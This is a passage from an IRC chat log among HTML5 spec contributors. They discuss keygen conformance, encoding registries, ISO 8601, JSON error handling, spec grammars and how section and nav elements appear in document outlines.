annevk3: i think as defined in html5 people can use <i>/<b> if they want, and people who want more flexibility for styling purposes (me) can use <em>, <strong>, <cite>, <var>, etc, where they are more useful

[17:36:00.0000] <annevk3>
yup

[17:37:00.0000] <Hixie>
holy crap i'm almost completely caught up on e-mail

[17:37:01.0000] <Hixie>
the oldest one is from yesterday!

[17:37:02.0000] <TabAtkins>
Something must be wrong!

[17:37:03.0000] <othermaciej>
<em> and <i> were created at the same time?

[17:37:04.0000] <othermaciej>
/me didn't know

[17:37:05.0000] <takkaria>
Hixie: including private?

[17:39:00.0000] <Hixie>
othermaciej: i'm pretty sure http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt is the first mention of either

[17:39:01.0000] <Hixie>
takkaria: no, only the main bucket

[17:39:02.0000] <Hixie>
takkaria: there's a bunch more feedback that is on hold for whatever reason (e.g. waiting for anne to do the encodings stuff :-)  -- hi anne!)

[17:40:00.0000] <annevk3>
Hixie, I'm actually awaiting some research from someone at Microsoft and someone at Google for the tables on IE and Chrome/Safari

[17:40:01.0000] <Hixie>
k

[17:41:00.0000] <annevk3>
with that data it should be easier to convince IANA that certain aliases are missing

[17:41:01.0000] <annevk3>
(and certain encodings)

[17:42:00.0000] <Hixie>
if aria are too far out of touch, don't kill yourself trying to convince them, we can just start our own registry instead

[17:43:00.0000] <takkaria>
aria?  is that a freudian slip?

[17:45:00.0000] <annevk3>
Hixie, it took some time, but it seems they are accepting registrations for aliases that start with an x- now, both domain experts agreed to that via email

[17:45:01.0000] <othermaciej>
curse you, flaky hotel wifi

[17:45:02.0000] <Hixie>
annevk3: cool

[17:45:03.0000] <TabAtkins>
/me has *finally* gotten Filament's daterangepicker fully integrated into the report generator.

[17:45:04.0000] <Hixie>
takkaria: um, yes!

[17:45:05.0000] <Hixie>
s/aria/iana/!

[17:46:00.0000] <annevk3>
Hixie, I don't have a good plan yet for the issues beyond registering unregistered encodings and aliases though

[17:47:00.0000] <Hixie>
i imagine you can fix encodings by creating an IETF WG and just releasing new RFCs that obsolete the old ones

[17:47:01.0000] <annevk3>
but one step at a time and all that :)

[17:47:02.0000] <Lachy>
TabAtkins, I never said the distinction excludes anything. As I tried to explain to you several times, the actual content is irrelevant. I tried to explain that they had structural differences, but couldn't figure out how to explain it to you.

[17:48:00.0000] <TabAtkins>
I may be a lost cause, Lachy.  ^_^

[17:52:00.0000] <TabAtkins>
/me is done with work, back to writing the radial-gradient() proposal.

[23:22:00.0000] <cardona507>
should <header> or <hgroup> descend from <section>?

[00:33:00.0000] <Lachy>
cardona507, yes, like <section><header>...</header> <p>... </section>

[00:33:01.0000] <cardona507>
exactly- thanks lachy - 

[00:36:00.0000] <number-6>
what is &#8212;  ?

[00:48:00.0000] <Lachy>
number-6, it's an em-dash

[01:00:00.0000] <cardona507>
I currently use http://html5.validator.nu/ to validate - is there an html 5 validator button?

[01:18:00.0000] <Lachy>
do you mean on that says your page is valid HTML5?

[01:18:01.0000] <Lachy>
if so, then no

[01:20:00.0000] <cardona507>
I thought that I saw one somewhere , but now I can't find the link

[01:21:00.0000] <Lachy>
there is one that was created as a joke, but the reason badges is described here http://about.validator.nu/#faq

[01:22:00.0000] <Lachy>
s/reason/reason for no/

[01:23:00.0000] <Lachy>
You may have seen this one before http://simon.html5.org/valid-html5.png

[01:30:00.0000] <Lachy>
maybe it would be worth creating Validator.nu promotional badges for authors to use, but which don't make any claim about the validity.

[01:31:00.0000] <Lachy>
That way authors get to feel good about having a badge, and they promote HTML5 validation as well.

[01:42:00.0000] <cardona507>
I second that idea - The first time I saw the above badge it caught my eye - even if it was a joke I took notice - plus who doesn't want to brag about their html 5 prowess :)

[01:42:01.0000] <cardona507>
off to sleep - good night

[04:17:00.0000] <annevk3>
so there's no such thing as IRI schemes after all?

[04:17:01.0000] <annevk3>
*confused*

[04:43:00.0000] <Hixie>
annevk3: i am so tired of julian just saying "that's not what i meant, try again"

[04:50:00.0000] <Dashiva>
I'd say this is pretty good empirical proof that URL/URI/IRI/etc is a mess that people shouldn't have to care about

[04:57:00.0000] <annevk3>
Hixie, I guess http://lists.w3.org/Archives/Public/uri/2009Sep/0001.html is a good suggestion

[04:59:00.0000] <Dashiva>
Every new spec using IRIs has to include all that?

[05:02:00.0000] <annevk3>
Dashiva, well, it's a mess, as you say

[05:04:00.0000] <Lachy>
annevk3, the fact that there isn't an alternative to keygen yet isn't a reason to make it conforming as is. As I pointed out, there aren't really a significant number of authors wanting to use it anyway, and only barely enough to justify supporting it, so what's the point?>

[05:05:00.0000] <Lachy>
if there's really a need to address the use case it tries to solve, then I'd expect there would be significant interest in finding a real solution for it. But there isn't, so it seems like keygen is trying to solve an insignificant problem

[05:05:01.0000] <annevk3>
there's only a fraction of the market that needs it

[05:05:02.0000] <annevk3>
playing a numbers game on situations like that seems misguided

[05:06:00.0000] <Lachy>
making a stupid and poorly designed solution conforming for the hell of it seems even more misguided

[05:06:01.0000] <annevk3>
it apparently works good enough

[05:06:02.0000] <annevk3>
and there's no alternative

[05:07:00.0000] <Philip`>
Presumably being non-conforming is good enough for the people who want to use it, because it's always been non-conforming

[05:07:01.0000] <Lachy>
for the few dozen sites that actually use it? Sure. The rest use activex and java applets

[05:08:00.0000] <annevk3>
yes, lets encourage people to use proprietary platforms

[05:08:01.0000] <annevk3>
-_-

[05:08:02.0000] <Lachy>
no, I didn't say that. My point is that keygen clearly doesn't address the problem as well as those, so pushing an inferior solution is nonsensical

[05:09:00.0000] <annevk3>
did you talk with the people who deploy <keygen> or what do you base this opinion on?

[05:11:00.0000] <Lachy>
I haven't found any sites myself that acually use it, so there really aren't that many people to talk to.

[05:11:01.0000] <annevk3>
/me sighs

[05:11:02.0000] <Lachy>
it's an edge case that causes interop problems, not an edge case worthy of conformance

[05:13:00.0000] <Lachy>
also, since Microsoft have basically said they're not interested in implementing it anyway, authors have even more reason to avoid it as a solution.

[05:14:00.0000] <annevk3>
what part of lacking an alternative and vendors being forced to adopt it didn't you get?

[05:16:00.0000] <Lachy>
I'm not arguing against implementation. I'm only arguing against authoring conformance.

[05:16:01.0000] <Lachy>
it's same reason implementers have to support <font>, but we don't make that conforming to use

[05:17:00.0000] <annevk3>
not at all

[05:17:01.0000] <annevk3>
<font> has an alternative

[05:17:02.0000] <annevk3>
color/ font-family / etc.

[05:19:00.0000] <Lachy>
so the lack of alternative is your only reason for wanting to make it conforming, and encouraging more authors to use an inferior solution that is a usability nightmare and won't see significant uptake anyway?!

[05:19:01.0000] <annevk3>
it doesn't need significant update, it can't be inferior if there's no alternative and I've not seen any usability studies on <keygen> so I wouldn't know

[05:20:00.0000] <Lachy>
it's clearly inferior to the proprietary solutions that sites are using, and will keep using regardless of keygen's conformance

[05:20:01.0000] <annevk3>
s/update/uptake/

[05:21:00.0000] <annevk3>
Lachy, so you do have stats on sites that could've used <keygen> but don't?

[05:21:01.0000] <annevk3>
Lachy, and solely use ActiveX?

[05:23:00.0000] <Lachy>
just think about what a user's response would be to being asked to pick an encryption level. I can guarantee most will just say wtf?

[05:28:00.0000] <Lachy>
presumably all the korean banking sites that are mandated to use ActiveX, the Norwegian (and I think Swedish) banking sites that use the BankID java applet (though it's not really clear what exactly that java applet does, but it presumably provides some sort of extra security beyond normal HTML forms)

[05:34:00.0000] <Lachy>
intersting, keygen doesn't work in Minefield with the HTML5 parser enabled

[05:35:00.0000] <Lachy>
apparently because keygen in the older parser actually generates a select element in the DOM

[05:36:00.0000] <Philip`>
The site could have lots of nice little annotated diagrams showing exactly what options to select in all the keygen options, so users wouldn't get too lost

[05:39:00.0000] <Lachy>
or we could just develop a solution that actually addresses the same problems addressed by the proprietary solutions, and which doesn't present meaningless options to users that the browser could choose transparently based on information specified by the site.

[05:40:00.0000] <Philip`>
Please feel free to work on such a thing

[05:41:00.0000] <Philip`>
/me imagines it'd be too late to be an HTML5 feature

[05:43:00.0000] <Lachy>
I'm not interested in working on such a solution, but others who feel this case is worth addressing and are knowledgeable about the security issues, should do it

[05:58:00.0000] <Philip`>
/me wonders if he'll ever be able to actually understand how RDFa works

[05:58:01.0000] <Philip`>
(as opposed to mechanically following the processing instructions a few times until I converge on some idea of what the output should be)

[06:26:00.0000] <krijnh>
Note: DoS protection doesn't work :/

[06:38:00.0000] <annevk3>
ttepasse, draconian error handling is a form of error handling

[06:38:01.0000] <annevk3>
ttepasse, it's very different from leaving error handling undefined

[06:42:00.0000] <ttepasse>
annevk3, yes, but the HTML-side error handling ist defined in the HTML Spec, ignoring the error handling in the ES-Spec (?throw an error?). The inconsistency in Hixies reasoning simply makes me go ?huh?.

[06:47:00.0000] <annevk3>
ttepasse, that is not ignoring error handling

[06:48:00.0000] <ttepasse>
You seem to be in a different conversation than me. Huh?

[06:48:01.0000] <annevk3>
ttepasse, what HTML5 does does not ignore error handling in the ECMAScript specification

[06:48:02.0000] <annevk3>
ttepasse, when something is an error in ECMAScript it is in HTML5

[06:48:03.0000] <annevk3>
ttepasse, the way the error is treated is different but that makes sense because the context is different

[06:52:00.0000] <annevk3>
ttepasse, also, did you study ISO 8601?

[06:53:00.0000] <ttepasse>
Coming back to my original thingy ... in case of input/@pattern it is OK to define an error handling; in case of ISO 6801 you're forced to throw the hand in the air instead of simply declaring non-conforming datestrings as invalid and to ignored. I see no difference between both cases; Hixie does. Which makes me hope that he would sometimes explain his reasoning than going for the usual one-sentence-no.

[06:54:00.0000] <ttepasse>
annevk3, some years ago yes. 

[06:58:00.0000] <annevk3>
ttepasse, I seem to have a thing for getting involved in stuff I don't really care about, but lets try this, what do you need from ISO 8601?

[07:02:00.0000] <ttepasse>
Personally? Nothing. (years less than 0000 would by nice, just out auf principle.) I just have a thing asking myself weird questions while reading whatwg and public-html. HTML 5 is my soap opera.

[07:05:00.0000] <annevk3>
Mkay. As for what I think the reasons are (not in order): a) you need to pay to read ISO specs b) ISO 8601 allows a lot more formats such as YYYYMMDD but not YYYYMM c) ISO 8601 does not define parsing rules d) HTML4 also defined a subset of ISO 8601

[07:06:00.0000] <annevk3>
e.g. I've heard some people complain that the "T" must be uppercase, but that's exactly the same in HTML4

[07:08:00.0000] <annevk3>
Anyway, comparing two completely different cases on a high level and then claiming the editor is inconsistent is almost always the wrong way to go around things, because things are complicated

[07:10:00.0000] <ttepasse>
Things are always complicated. But a spec process which more than once called itself neutral, reasonably, backed by resarch, sometimes even scientifical should be deciverable by someone outside with enough reading time, shouldn't it?

[07:11:00.0000] <ttepasse>
?ISO 8601? means by extension the W3C-date-note, RFC 3339 and XML Schemas subsets.

[07:13:00.0000] <annevk3>
ttepasse, I don't think we're "well-documented"

[07:13:01.0000] <annevk3>
ttepasse, though presumably with enough reading of the mailing lists and IRC logs you'd get quite far

[07:13:02.0000] <annevk3>
(that's where I got the above information from anyway)

[07:14:00.0000] <annevk3>
ttepasse, what HTML5 has is a subset (at least when looking at valid syntax)

[07:15:00.0000] <annevk3>
anyway, it's still unclear to me what you want :)

[07:15:01.0000] <ttepasse>
In the last two years I come to see the under-documentation as a bug in the process. Granted, HTML WG and WHAT WG are better than other but still.

[07:16:00.0000] <ttepasse>
Simply understanding, why there are screenpages after screen pages of stuff already defined elsewhere. World peace. And coffee. ;)

[07:17:00.0000] <annevk3>
I agree it's not perfect, but I'm not sure the comment is fair against HTML5 if you look at how e.g. most other specifications are written

[07:18:00.0000] <ttepasse>
My personal highlight was Tim Brays old annotated version of the first XML REC. It doesn't explain everything but it gave a great view into the reasoning of the first XML wg.

[07:19:00.0000] <annevk3>
Having said that, we've been trying to find someone to document the reasons features exist, etc.

[07:19:01.0000] <annevk3>
Nobody has volunteered in the past two or three years we've been looking for that person

[07:20:00.0000] <TabAtkins>
I didn't know anybody was looking.

[07:20:01.0000] <TabAtkins>
/me would possibly be interested.

[07:26:00.0000] <annevk3>
TabAtkins, email Hixie

[07:26:01.0000] <TabAtkins>
k

[08:38:00.0000] <ttepasse>
Oh. http://www.cs.tut.fi/~jkorpela/ seems down.

[09:13:00.0000] <cardona507>
i am still attempting to grok <section>. Does <canvas> descend from <section>?

[09:21:00.0000] <TabAtkins>
...no?  <canvas> is completely unrelated.

[09:21:01.0000] <TabAtkins>
<section> is just a special flavor of <div>.  It resets your heading levels and should have a heading itself.

[09:22:00.0000] <cardona507>
tabatkins - I guess <section> is defined kinda generically "The section element represents a generic document or application section. A section, in this context, is a thematic grouping of content, typically with a heading, possibly with a footer." so I am unclear what falls in a heading. no <canvas>.. how about <video> _ also- thanks

[09:23:00.0000] <cardona507>
or <audio>?

[09:23:01.0000] <TabAtkins>
A heading is <h1-6>, possibly grouped with an <hgroup>.

[09:24:00.0000] <cardona507>
^*I am unlcear what falls in a <section> oops

[09:25:00.0000] <TabAtkins>
Oh, anything can fall in a section.  Like I said, it's just a special flavor of <div>.  Using <section> rather than <div> indicates that the contents form a coherent section of the document/application, and it would make sense to make this a line in a document outline.

[09:25:01.0000] <TabAtkins>
So yes, <canvas>/<video>/<audio> can all appear in a <section>.

[09:26:00.0000] <TabAtkins>
(When you said 'descend from', I thought you meant that the two were related in some way.)

[09:27:00.0000] <cardona507>
I did - I am saying <section><canvas id="" width="" height=""></canvas></section> - correct?

[09:27:01.0000] <cardona507>
ahhhh- gotcha - thanks tabatkins

[09:28:00.0000] <TabAtkins>
Yeah, that's potentially correct, as long as that <canvas> would be part of an actual *section* of your document.  If you just need a container element around it, like for CSS purposes, then use <div>.

[09:29:00.0000] <TabAtkins>
Again, if you're not giving the <section> a heading, you probably shouldn't use it.

[10:03:00.0000] <TabAtkins>
Damn, I have new respect for people writing parsers.

[10:03:01.0000] <TabAtkins>
Especially CSS, where so much is implicit.  Shit is hard.

[10:04:00.0000] <gsnedders>
/me prefers just filing bugs on them doing it wrong :P

[10:09:00.0000] <TabAtkins>
Yeah, but I'm trying to be impressive here and demonstrate that my proposed syntax is easy to write.  So I'm making a parser for it.

[10:10:00.0000] <TabAtkins>
Then I'll write the thing that *uses* the syntax.

[10:17:00.0000] <gsnedders>
/me wants feelings back in his feet

[10:18:00.0000] <gsnedders>
s/gs/g/

[10:20:00.0000] <TabAtkins>
Are your feet depressed?  Is the world gray and lifeless to them?  Do they have a hard time getting out of bed in the morning, because there's just nothing worth it out there?

[10:21:00.0000] <gsnedders>
No, the world is frequently black and lightless to them.

[10:21:01.0000] <gsnedders>
(Also, I do like how in this B&B room I only get wifi at one end of my bed)

[10:22:00.0000] <TabAtkins>
Ooh, where you staying?

[10:22:01.0000] <gsnedders>
Southampton

[10:23:00.0000] <TabAtkins>
Somewhere near the shore, I would hope?

[10:24:00.0000] <gsnedders>
Not really. There's just docks there

[10:24:01.0000] <TabAtkins>
Bah, england is useless.  At least you've got a big national park just a few km away.

[10:32:00.0000] <erlehmann>
With CCTVs ? I *really* want to know what CASE NIGHTMARE GREEN is.

[10:32:01.0000] <erlehmann>
But, alas I do not have enough clearance.

[10:33:00.0000] <erlehmann>
Incidentally, I'm heading off to the laundry. Just washing my stuff, of course.

[10:43:00.0000] <TabAtkins>
erlehmann: http://www.goldengryphon.com/Stross-Concrete.html

[10:44:00.0000] <erlehmann>
Yes, TabAtkins. Yes, indeed.

[10:44:01.0000] <TabAtkins>
Oh, I see what you're saying.  ::whoosh::

[10:44:02.0000] <TabAtkins>
In any case, Stross is awesome and I love him.

[10:48:00.0000] <erlehmann>
That reminds me that I borrowed „Halting State“ from some hacker gal …

[10:48:01.0000] <erlehmann>
Did I return it ?

[12:09:00.0000] <annevk3>
http://johnnyholland.org/2009/09/05/utopians-and-idealists-how-to-design-products-fitting-the-needs-of-the-users-most-likely-to-use-them/

[12:14:00.0000] <othermaciej>
good day

[12:15:00.0000] <TabAtkins>
yo, maciej

[12:18:00.0000] <TabAtkins>
http://www.abernier.name/griddesign/#page1

[12:19:00.0000] <TabAtkins>
somebody just shared this over in #microformats, and I thought it was very clever and cool.

[12:24:00.0000] <othermaciej>
TabAtkins: that's neat - what is it?

[12:24:01.0000] <othermaciej>
/me is too lazy to inspect the style and markup

[12:25:00.0000] <TabAtkins>
It's a CSS table, where each cell is width:100%, height:100%, and given a unique id.  The nav is just anchor links to the cell ids.

[12:25:01.0000] <othermaciej>
I see, it uses anchor navigation to scroll to the different panes

[12:25:02.0000] <othermaciej>
clever

[12:25:03.0000] <TabAtkins>
Yus.

[12:26:00.0000] <othermaciej>
it looks nice in Safari because of our smooth scrolling

[12:26:01.0000] <othermaciej>
looks good in Firefox too, at least on Mac

[12:27:00.0000] <TabAtkins>
Firefox does it nicely too, yeah.

[12:27:01.0000] <TabAtkins>
The only thing he needs to do is listen for resize and reposition the viewport, as resizing your window will make it no longer align with the grid boundaries (until you click the nav again).

[12:33:00.0000] <gsnedders>
/me needs better wifi

[12:34:00.0000] <TabAtkins>
Apparently.

[15:26:00.0000] <TabAtkins>
Hrm, my homepage tries to peg my processor now.  Granted, my computers are definitely both dated, but still.  I can run Tori's Eye just fine, and that's the same deal.


2009-09-06
[17:17:00.0000] <cardona507>
no more name=""? a links to id now- nice

[17:20:00.0000] <Lachy>
Updating this wiki page is proving to be a very time consuming task. The old version was significantly out of date. http://wiki.whatwg.org/wiki/HTML_vs._XHTML

[17:21:00.0000] <Lachy>
but hopefully the new format I'm using is a lot more readable than it was before

[17:23:00.0000] <cardona507>
that is a great resource. Thanks for your work on it.

[19:13:00.0000] <TabAtkins>
I appreciate json more every day.

[19:23:00.0000] <Hixie>
pity it doesn't define error handling, comments, or compatibility with JS Number types, but yes, other than that, it's a nice simple format

[19:25:00.0000] <inimino>
I don't think it'd have caught on if it defined error handling

[19:28:00.0000] <inimino>
(as anything other than "abort if the input doesn't match this grammar", that is)

[19:28:01.0000] <Hixie>
that'd be fine too

[19:28:02.0000] <Hixie>
i have nothing intrinsically against draconian error handling in general

[19:29:00.0000] <inimino>
is that not implied?

[19:30:00.0000] <Hixie>
the one thing that specs generally should try to avoid, is implication

[19:30:01.0000] <Hixie>
well, s/the// :-)

[19:32:00.0000] <inimino>
true enough :)

[19:32:01.0000] <inimino>
the RFC does say "A JSON parser MAY accept non-JSON forms or extensions."

[19:32:02.0000] <Hixie>
that's code for "there's no defined error handling"

[19:34:00.0000] <rubys2>
I believe that the native JSON object coming in ECMAScript 5 is pretty draconian

[19:34:01.0000] <inimino>
ES5's JSON.parse does define error handling, it throws a SyntaxError if the input does not conform to the grammar

[19:34:02.0000] <Hixie>
yeah, es5's json is better

[19:42:00.0000] <cardona507>
any good examples of <canvas> art?

[19:42:01.0000] <Hixie>
http://www.whatwg.org/demos/2008-sept/color/color.html

[19:44:00.0000] <cardona507>
that I saw (good video by the way)- That video is what got me interested in html5 - any other examples?

[19:45:00.0000] <inimino>
http://www.bel.fi/~alankila/plasma.html

[19:45:01.0000] <cardona507>
good one

[19:46:00.0000] <inimino>
plenty more out there

[20:13:00.0000] <TabAtkins>
Hixie: JSON purposely doesn't define comments.  They did at first, but people were using them to embed proprietary parsing directives, so they took them out instead.

[20:14:00.0000] <Hixie>
and made the proprietary directives valid instead? :-)

[20:14:01.0000] <TabAtkins>
Nope.  ^_^

[20:14:02.0000] <Hixie>
"A JSON parser MAY accept non-JSON forms or extensions."

[20:15:00.0000] <TabAtkins>
Ok, point.

[20:16:00.0000] <TabAtkins>
But they're now explicitly proprietary, with no pretense of being able to be parsed safely by a generic parser.

[20:16:01.0000] <TabAtkins>
Unlike the situation with comments, where the structure *would* be parsed by a generic parser, just incorrectly (because it didn't know how to obey the instructions embedded in the comments).

[20:19:00.0000] <Hixie>
so what you're saying is that they removed both the possibility of comments and the safe extension mechanism at the same time

[20:21:00.0000] <TabAtkins>
Yes, precisely.

[20:22:00.0000] <TabAtkins>
That was the point - JSON wasn't supposed to ever be extended.

[20:24:00.0000] <TabAtkins>
After all, it very purposely is a lowest common denominator.  It includes only things that *every* non-pathological language has and can understand.  Allowing extensions would inevitably lead to complexity creep, and make it difficult/impossible to use as a truly universal data-interechange format.

[20:34:00.0000] <Hixie>
if it wasn't supposed to ever be extended, why say "A JSON parser MAY accept non-JSON forms or extensions."

[20:37:00.0000] <TabAtkins>
Because that's precisely what existed in the wild - parsers that understood non-JSON extensions.  Pretending they didn't exist wouldn't have served any point, but making it so that their extensions would cause a normal JSON parser to abort kept the infection from ever spreading far enough to be a de facto language extension.

[20:39:00.0000] <TabAtkins>
Sorry, heading out now; wife wants to play video games.

[20:43:00.0000] <Hixie>
later

[20:48:00.0000] <cardona507>
I am trying to style my markup in columns - I am using <section> but for some reason I can't style it- do I wrap it in a <div> and style the div? Does that defeat the point of <div>?

[20:48:01.0000] <cardona507>
I mean defeat the point of <section>?

[21:14:00.0000] <inimino>
I'm kind of curious why the RFC says that myself, seems highly un-Crockfordian

[01:58:00.0000] <Dashiva>
Something tells me most people won't get this "right": http://paulirish.com/2009/bulletproof-font-face-implementation-syntax/

[03:56:00.0000] <AryehGregor>
"no final decisions on the content of the W3C spec will be made outside of public-html"  So I guess not on the whatwg list, then, huh?

[03:57:00.0000] <Hixie>
i guess we'll just have to have a "final decision" to do the same as the whatwg after the whatwg is done :-)

[03:57:01.0000] <Hixie>
i guess that means the w3c can never be the first one to finish html5

[04:10:00.0000] <AryehGregor>
Hixie, isn't specifying things like how to parse a nonnegative integer algorithmically going a little too far?  Couldn't you just give it in some sort of BNF like <*whitespace "+"? 1*digit garbage> and say to return an error if it doesn't match the pattern, and otherwise return the value given by 1*digit parsed as a decimal number?  Actually, I notice you don't seem to use formal grammars anywhere in the spec.

[04:10:01.0000] <Lachy>
yeah, I always found it intriguing how the HTMLWG thinks it has total authority over the content of the spec and is entitled to such privliges, despite supposedly working with the WHATWG

[04:11:00.0000] <AryehGregor>
Formal grammars are just as precise as algorithms, and typically easier to read, so unless they can't meet HTML 5's error-handling requirements, I don't see why algorithms would be preferred.

[04:12:00.0000] <Hixie>
AryehGregor: a grammar doesn't tell you how to interpret the value, only how to check if it's valid or not.

[04:12:01.0000] <AryehGregor>
I was actually trying to implement the real number parsing in PHP for MediaWiki (to ensure consistent client-/server-side parsing of <input type=number>), but gave up because the algorithm given is ridiculous in a language like PHP and the only sane thing to do was try to convert it to regex.

[04:12:02.0000] <AryehGregor>
Hixie, it breaks it into pieces for you, and you can then assign meaning to the pieces.

[04:13:00.0000] <AryehGregor>
In this case, "parse the 1*digit bit as a decimal integer, and ignore the rest".

[04:14:00.0000] <Hixie>
you aren't supposed to implement the algorithms line for line

[04:14:01.0000] <Hixie>
translate the algorithms into whatever is the most optimal implementation for your language

[04:14:02.0000] <Hixie>
AryehGregor: then you're using algorithm _and_ a grammar

[04:15:00.0000] <Hixie>
AryehGregor: and the spec becomes very inconsistent, sing grammars in the simple cases, and  n the others

[04:15:01.0000] <AryehGregor>
Part of the algorithm is just "parse this using BNF", which is already well-understood.  Rely on existing standards and all that.

[04:15:02.0000] <AryehGregor>
I think some letters got dropped from your last line.

[04:16:00.0000] <Hixie>
hold on computer issues

[04:16:01.0000] <AryehGregor>
In my case the usual way to do it would be regex, which is a lot closer to BNF than the C-style algorithm you give.  I should think it would be easier to translate from BNF into a C-style algorithm than the reverse.

[04:16:02.0000] <annevk3>
did you try writing something out?

[04:16:03.0000] <AryehGregor>
In cases like the HTML parser you probably really can't use BNF because you need to specify error-handling and such in so much detail.

[04:17:00.0000] <annevk3>
you need to specify error-handling in detail everywhere...

[04:17:01.0000] <Hixie>
ok where was i

[04:18:00.0000] <AryehGregor>
annevk3, I tried briefly.  To be honest, in the end I mostly gave up because I didn't want to use it unless I had a test suite that would confirm I didn't botch things much.  I'm sure I'll return to it and figure it out, but most specs use BNF and it seems both shorter and easier to read to me, and no less precise.

[04:18:01.0000] <Hixie>
i was saying that if you use algorithms everywhere but some of them also use a grammar, you end up with an inconsistent style

[04:18:02.0000] <AryehGregor>
annevk3, for things like parsing a non-negative integer there's no error handling except "return an error if it's invalid", which BNF is fine at.

[04:18:03.0000] <Hixie>
and worse, maintenance becomes a nightmare

[04:18:04.0000] <Hixie>
because sometimes (often!) things get more complicated

[04:18:05.0000] <Hixie>
and so you then suddenly find yourself having to expand what was an algorithm that used a grammar into something without a grammar

[04:19:00.0000] <AryehGregor>
Hmm.

[04:19:01.0000] <AryehGregor>
Okay, that makes sense.

[04:19:02.0000] <Hixie>
/me isn't a big fan of formal grammars because for anything but the simplest of syntaxes, they simply aren't readable, nor do they actually define the semantics, nor do they make error handling even remotely sane to specify

[04:20:00.0000] <AryehGregor>
Well, I was specifically referring to really simple syntaxes.  :)

[04:20:01.0000] <AryehGregor>
Anyway, Hixie, while we're chatting, seems the rules for unquoted attributes are too lax: http://code.google.com/p/html5lib/issues/detail?id=93

[04:20:02.0000] <AryehGregor>
(I could file a bug report or post on the mailing list, but, why bother.)

[04:20:03.0000] <Hixie>
if you want the spec to change, please file a bug or send a mail :-)

[04:20:04.0000] <Hixie>
you can use the bug report tool in the spec

[04:21:00.0000] <AryehGregor>
Okay.

[04:21:01.0000] <Hixie>
it's as easy as typing on irc

[04:21:02.0000] <jgraham>
Also, if you want to patch html5lib...

[04:22:00.0000] <AryehGregor>
Well, I happened to implement this part of the spec myself in MediaWiki.  I'm not specifically concerned about html5lib, I'm sure someone else can fix that.

[04:24:00.0000] <Lachy>
Hixie, the spec seems to lack clear authoring requirements for using SVG and MathML in HTML. It seems that authors have to derive the requirements from the implementation requirements

[04:24:01.0000] <Hixie>
Lachy: well that's not good. file a bug.

[04:25:00.0000] <Lachy>
I will soon. Just need to work out everthing that's missing.

[04:25:01.0000] <Lachy>
(I'll just note them in IRC for now, and then file the issues appropriately later)

[04:26:00.0000] <Hixie>
thanks

[04:26:01.0000] <Lachy>
the section about the case sensitivity of tag names isn't clear if it applies to HTML elements only, or all elements

[04:27:00.0000] <Lachy>
requirement to use "xlink" as the prefix for xlink attributes, rather than allowing anything like in XML

[04:30:00.0000] <Lachy>
requirement on the values of xmlns:xlink attributes and other xmlns attributes to use the specific namespaces, and that other custom namespaces aren't permitted

[04:36:00.0000] <Lachy>
(I must also remember to file the bug on hsivonen's HTML5 parser about handling LF after <textarea> start tag in Firefox.)

[04:43:00.0000] <Lachy>
also describe that the attributes xlink:actuate, xlink:arcrole, xlink:href, xlink:role, xlink:show, xlink:title, xlink:type, xml:base, xml:lang and xml:space can be used on foreign elements and must use those prefixes

[04:43:01.0000] <Lachy>
and that declaring the xmlns and xmlns:xlink attributes on SVG elements is optional

[05:48:00.0000] <Hixie>
hey, google's rdfa implementation can now be tested for bugs: http://www.google.com/webmasters/tools/richsnippets?url=http%3A%2F%2Fexamples.tobyinkster.co.uk%2Fhcard

[06:06:00.0000] <da3d>
Why does <nav><ul/></nav> count as an untitled section in the outliner? It seems counter-intuitive to me...

[06:07:00.0000] <Hixie>
why?

[06:07:01.0000] <Hixie>
<nav> is like a special kind of <section>

[06:09:00.0000] <Lachy>
Hixie, http://www.w3.org/Bugs/Public/show_bug.cgi?id=7483 can be marked RESOLVED FIXED now

[06:10:00.0000] <Hixie>
go ahead

[06:10:01.0000] <Hixie>
you all are as welcome to close bugs as i am

[06:10:02.0000] <Lachy>
really? I thought you were meant to do it. But ok

[06:10:03.0000] <da3d>
That seems odd to me, because I never thought of <nav> as a type of section. It confused me when I tried the outliner last night (I thought the untitled section had something to do with an <article>).

[06:10:04.0000] <Hixie>
it's the wg bug system

[06:10:05.0000] <Hixie>
not mine :-)

[06:11:00.0000] <Hixie>
da3d: <nav>, <aside>, <section>, <article>

[06:11:01.0000] <Hixie>
da3d: are all secitons

[06:11:02.0000] <Hixie>
Lachy: if you feel like it, feel free to go and invalidate and invalid bugs, too

[06:11:03.0000] <Hixie>
s/and/any/

[06:11:04.0000] <Hixie>
or mark duplicates

[06:11:05.0000] <Hixie>
or mark unclear bugs NEEDSINFO

[06:11:06.0000] <Hixie>
or whatever

[06:11:07.0000] <Hixie>
it would actually be a lot of help

[06:12:00.0000] <Lachy>
ok

[06:15:00.0000] <da3d>
Hixie: Might just be my odd expectations then, I just think <nav> is a bit odd to include in that group :)

[06:15:01.0000] <Hixie>
why?

[06:15:02.0000] <Hixie>
i mean, it's a section, no? how is <nav> different from <aside> or <section>?

[06:16:00.0000] <da3d>
I don't expect navbars to generally need or contain headings.

[06:17:00.0000] <da3d>
I very much expect all <section>, <article> and <aside> to have at least one heading.

[06:18:00.0000] <Hixie>
i expect a lot of <section> and <aside>s to not have headings

[06:19:00.0000] <Hixie>
e.g. consider gmail; the main inbox is a <section>, the search area is a <section>, the chat box is an <aside>...

[06:19:01.0000] <Hixie>
no headers

[06:22:00.0000] <da3d>
I'd consider that to be generally bad authoring (unless it's an <aside> pull-out quote or something). Web apps like Gmail might be a bit different, but I'd at least some of those to have headings.

[06:24:00.0000] <Hixie>
some, sure

[06:24:01.0000] <Hixie>
most, maybe, even

[06:24:02.0000] <Lachy>
Maybe it would help if the outliner generated default implied headings for sectioning elements like <nav>. Something like "Untitled Navigation Section", or simply "Navigation". I don't think this really needs to be defined though, just an implementation feature.

[06:26:00.0000] <Hixie>
yeah

[06:26:01.0000] <Hixie>
good idea

[06:28:00.0000] <Lachy>
maybe an informative note in the spec about that for implementations might be useful

[06:28:01.0000] <Hixie>
file a bug :-)

[06:31:00.0000] <da3d>
I agree with that. I think a whole lot of people will be scratching their head at those untitled sections otherwise (like I did last night) :-)

[06:37:00.0000] <da3d>
Unrelated question: Would it be considered odd/wrong/bad (in terms of semantics) to have a <footer>, but no <header>?

[06:38:00.0000] <Lachy>
da3d, no. that's fine

[06:38:01.0000] <da3d>
ok, thanks :)

[06:44:00.0000] <Lachy>
Hixie, what is the outline supposed to look like for this case:

[06:44:01.0000] <Lachy>
<body>

[06:44:02.0000] <Lachy>
<h1>Heading A</h1>

[06:44:03.0000] <Lachy>
<section>

[06:44:04.0000] <Lachy>
  No heading here.

[06:44:05.0000] <Lachy>
  <section>

